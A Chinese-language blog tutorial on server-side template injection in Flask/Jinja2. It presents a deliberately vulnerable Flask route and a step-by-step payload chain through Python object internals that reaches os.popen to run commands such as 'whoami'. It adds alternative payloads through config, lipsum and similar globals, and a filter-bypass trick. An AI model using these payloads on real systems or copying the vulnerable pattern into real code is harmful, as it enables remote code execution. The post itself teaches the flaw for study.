SSTI模板注入漏洞

Last updated on August 14, 2025 am

ssti漏洞的成因与危害

当服务端接受了用户的恶意代码,未经任何处理就将其应用在web应用模板的部分上,服务端在渲染这些模板时,执行了这些恶意代码,可能导致getshell 代码执行 敏感信息泄露等安全问题

一个简单的漏洞代码实例

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask,render_template_string,request

app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get("name")
str = f"Hello {name}"
return render_template_string(str,name=name)

if __name__ == '__main__':
app.run(debug=True)

使用 {{1-2}} 测试,发现代码被执行

image-20250813160700465

注意!

这里的运算符号不能是 + 号,因为在url编码中+号做为空格使用

漏洞利用

从一个字符串或者列表对象中获取其类

1
''.__class__

获取基类,使用<class ‘object’> 这个类

1
''.__class__.__bases__
1
''.__class__.__mro__
1
''.__class__.__base__

image-20250813163526166

这里要使用 <class ‘object’> 这个类 可以使用下标表示

1
''.__class__.__mro__[1]

获取 object 类下面的所有子类

1
''.__class__.__base__.__subclasses__()

获取到之后选择合适的类,这里可以使用<class ‘os._wrap_close’>这个类

比如在列表的第117行,可以这样写

1
''.__class__.__base__.__subclasses__()[117]

初始化类,获取全局方法,变量以及参数

1
''.__class__.__base__.__subclasses__()[117].__init__.__globals__

代码执行

使用 popen() + read() 方法可以返回执行后的结果

1
''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('whoami').read()

其他引用

1
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
1
{{urlfor.__class__.__globals__['os'].popen('calc')}}
1
{{lipsum.__globals__['os'].popen('calc')}}
1
{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}

waf绕过

双重花括号拦截绕过

1
{%print(''.__class__)%}

request方法绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
request.args.key  #获取get传入的key的值

request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)

reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get

request.cookies.key #获取cookies传入参数

request.headers.key #获取请求头请求参数

request.data #获取post传入参数(Content-Type:a/b)

request.json #获取post传入json参数 (Content-Type: application/json)

SSTI模板注入漏洞
https://blog.lixey.top/posts/2dff4083/
Author
Lixiney
Posted on
July 8, 2025
Licensed under